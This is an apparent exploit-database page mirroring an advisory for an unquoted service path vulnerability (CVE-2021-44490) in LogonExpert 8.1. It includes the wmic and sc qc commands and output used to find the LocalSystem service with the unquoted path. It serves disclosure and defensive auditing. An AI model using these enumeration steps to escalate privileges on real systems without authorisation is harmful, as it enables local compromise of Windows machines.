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LogonExpert 8.1 Unquoted Service Path

CVE Category Price Severity
CVE-2021-44490 CWE-426 $5,000 High
Author Risk Exploitation Type Date
b1ack_m0nk High Local 2021-02-25
CVSS EPSS EPSSP
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.185012 5.89749

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021020151

Below is a copy:

LogonExpert 8.1 Unquoted Service Path
# Exploit Title: LogonExpert 8.1 - 'LogonExpertSvc' Unquoted Service Path
# Discovery by: Victor Mondragn
# Discovery Date: 23-02-2021
# Vendor Homepage: https://www.softros.com/
# Software Links : https://download.logonexpert.com/LogonExpertSetup64.msi
# Tested Version: 8.1
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 7 Service Pack 1 x64
# Step to discover Unquoted Service Path: 
 

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
LogonExpert Service             LogonExpertSvc          C:\Program Files\Softros Systems\LogonExpert\LogonExpertService.exe             Auto


C:\>sc qc LogonExpertSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: LogonExpertSvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Softros Systems\LogonExpert\LogonExpertService.exe
        LOAD_ORDER_GROUP   : LogonExpertGroup
        TAG                : 0
        DISPLAY_NAME       : LogonExpert Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

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